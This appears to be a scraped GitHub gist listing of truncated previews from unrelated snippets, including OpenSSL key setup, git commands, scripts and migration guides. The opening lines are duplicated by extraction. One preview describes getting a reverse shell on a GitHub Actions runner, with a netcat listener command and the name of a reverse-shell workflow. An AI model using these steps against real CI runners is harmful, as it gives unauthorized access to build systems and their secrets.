- Create RSA keys for CA cert, server cert - this will output
ca-key.keyandserver-key.key
openssl genrsa -out ca.key 4096
openssl genrsa -out server.key 4096- Create a
ca.confca config file
ca-key.key and server-key.keyopenssl genrsa -out ca.key 4096
openssl genrsa -out server.key 4096ca.conf ca config file
| # Create a new repository on the command line | |
| touch README.md | |
| git init | |
| git add README.md | |
| git commit -m "first commit" | |
| git remote add origin https://github.com/c0ldlimit/vimcolors.git | |
| git push -u origin master | |
| # Push an existing repository from the command line |
| param ( | |
| [Parameter(Mandatory = $true)] $repoName, | |
| [Parameter(Mandatory = $true)] $teamName, #allows multiple teams speatated by comma | |
| [Parameter(Mandatory = $true)] $orgName, | |
| $CodeOwnerTeam, #allows multiple teams speatated by comma, use this to define what team has the rights to change the codeowners file itself | |
| $branch, #if not specified default branch is used | |
| [switch]$overwrite, #automatically overwrite the existing CODEOWNERS FILE | |
| [switch]$addperms, #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS | |
| [switch]$enablebranchprotectioncodeowners #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS | |
| ) |
Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:
nc -nvlp 1337
Then run the following workflow in GH actions:
name: Reverse shell
| # given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56, | |
| # this script returns a sum of totals by year | |
| import os | |
| totals = {} | |
| for year in os.listdir('.'): | |
| if os.path.isdir(year) and not year.startswith('.'): | |
| total = 0 |
If you have ever mistakenly added a word to the Brave browser dictionary,
you need to manually edit the Custom Dictionary.txt file.
As of March 2020, the Brave UI lacks a feature to do this.
This will depend on your OS. Google for where this is on your OS.
The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.
| // ==UserScript== | |
| // @name Auto Check-In to Southwest Flights | |
| // @namespace http://www.ryanizzo.com/southwest-auto-check-in/ | |
| // @version 1.8 | |
| // @author Nicholas Buroojy (http://userscripts.org/users/83813) | |
| // @contributor Ryan Izzo (http://www.ryanizzo.com) | |
| // @contributor JR Hehnly (http://www.okstorms.com @stormchasing) | |
| // @contributor Trevor McClellan (github.com/trevormcclellan) | |
| // @description Automatically check in to Southwest Airline flights at the appropriate time. | |
| // @include https://www.southwest.com/air/check-in/index.html* |
Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:
Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:
GitHub blocks files larger than 100 MiB. Therefore, if you are migrating a repository with objects larger than 100 Mib to Github, you'll need to migrate those large objects to LFS.
By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.
Make sure you have git-lfs installed.
This guide provides step-by-step instructions for deploying the Copilot Metrics Dashboard in your environment.
English | Español |
To use this report, ensure you have Power BI Desktop installed or access to the Power BI online service.